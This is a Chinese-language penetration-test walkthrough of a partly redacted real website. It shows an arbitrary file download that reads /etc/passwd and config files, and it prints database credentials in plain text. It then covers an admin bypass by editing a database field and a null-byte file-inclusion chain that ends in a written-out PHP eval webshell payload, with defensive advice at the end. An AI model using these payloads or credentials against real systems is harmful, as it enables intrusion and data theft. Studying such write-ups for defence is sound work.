对某网站对一次基础渗透
字数 1191 2025-08-18 17:33:36
网站基础渗透实战教学文档
信息收集阶段
1. 目录扫描
使用Goby工具进行目录扫描,发现以下关键路径:
[200][text/html][0b] http://www.xxxxxx/adm/
[200][text/html][0b] http://www.xxxxxx/adm/index.php
[200][text/html][8.21kb] http://www.xxxxxx/manual/index.html
[200][text/html; charset=utf-8][8.48kb] http://www.xxxxxx/phpMyAdmin/
[200][text/html][780.00b] http://www.xxxxxx/root/
[200][text/html][21.69kb] http://www.xxxxxx/temp/
2. 敏感文件发现
- 发现index.bak备份文件
- 发现phpMyAdmin管理界面
- 发现多个管理目录(adm/, manage/, manager/)
3. 旁站信息收集
通过目录结构发现多个可能存在的旁站:
home12, home13, home2, home3, home3_test01, home4, home5, home8, home9
使用FOFA插件验证旁站存在
漏洞挖掘
1. 文件下载漏洞
发现存在文件下载漏洞的端点:
http://www.xxxxx/include/download.php?f=
漏洞特征:
- 不输入参数直接下载download.php本身
- 尝试下载/etc/passwd等系统文件
- 通过绝对路径可下载网站文件
2. 文件下载漏洞利用
成功下载的关键文件:
/home12/include/database.inc- 获取数据库凭据/phpMyAdmin/config.inc.php- 获取可能的数据库凭据- 网站核心配置文件
3. 获取数据库凭据
从database.inc文件中获取到:
$sqlServerIp = 'localhost'; // sql server ip
$userName = 'arco'; // sql login name
$passWord = 'su3cl3'; // sql login password
$dbName = 'mdn'; // sql database name
权限提升
1. phpMyAdmin利用
使用获取的凭据登录phpMyAdmin:
- 用户'arco'权限有限,无法执行高危操作
- 尝试通过SELECT INTO OUTFILE写shell失败
- 尝试开启general_log写shell失败(需要SUPER权限)
2. 后台登录绕过
分析登录逻辑发现SQL查询问题:
$dm1_sql = "select type from belong where uid='$uid' and sid='{$sys['sid']}'"
发现所有用户type=0,通过直接修改数据库将type改为1获得管理员权限
获取Webshell
1. 文件上传+文件包含组合利用
发现两处关键漏洞:
- 头像上传功能(限制为jpg/gif)
- 文件包含漏洞:
/funn/index.php?go=/etc/passwd%00
2. 利用步骤
- 上传图片马(内容为PHP代码),保存为jpg/gif
- 通过文件包含执行图片马中的代码:
/funn/index.php?go=/data/userpic/2.jpg%00
- 使用图片马写入webshell:
<?php fputs(fopen('../data/userpic/shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
技术要点总结
-
信息收集要全面:不仅扫描主站,还要注意目录结构暴露的旁站信息
-
文件下载漏洞利用:
- 尝试系统敏感文件(/etc/passwd等)
- 通过绝对路径下载网站配置文件
- 重点查找包含数据库凭据的文件
-
权限绕过技巧:
- 分析登录逻辑中的SQL查询
- 注意用户权限字段(如type、status等)
- 直接修改数据库关键字段
-
组合漏洞利用:
- 文件上传+文件包含
- 使用00截断绕过限制(PHP版本<5.3.4)
- 注意路径问题(绝对路径/相对路径)
-
phpMyAdmin利用限制:
- 注意用户权限(SELECT INTO OUTFILE需要FILE权限)
- general_log需要SUPER权限
- 低权限用户可尝试读取数据而非直接getshell
防御建议
- 禁用不必要的目录列表
- 限制文件下载功能的目录访问范围
- 数据库用户按最小权限原则分配
- 对上传文件进行严格的内容检查而非仅扩展名检查
- 禁用危险函数如fopen、fputs等或严格限制其使用范围
- 及时更新PHP版本避免00截断等老版本漏洞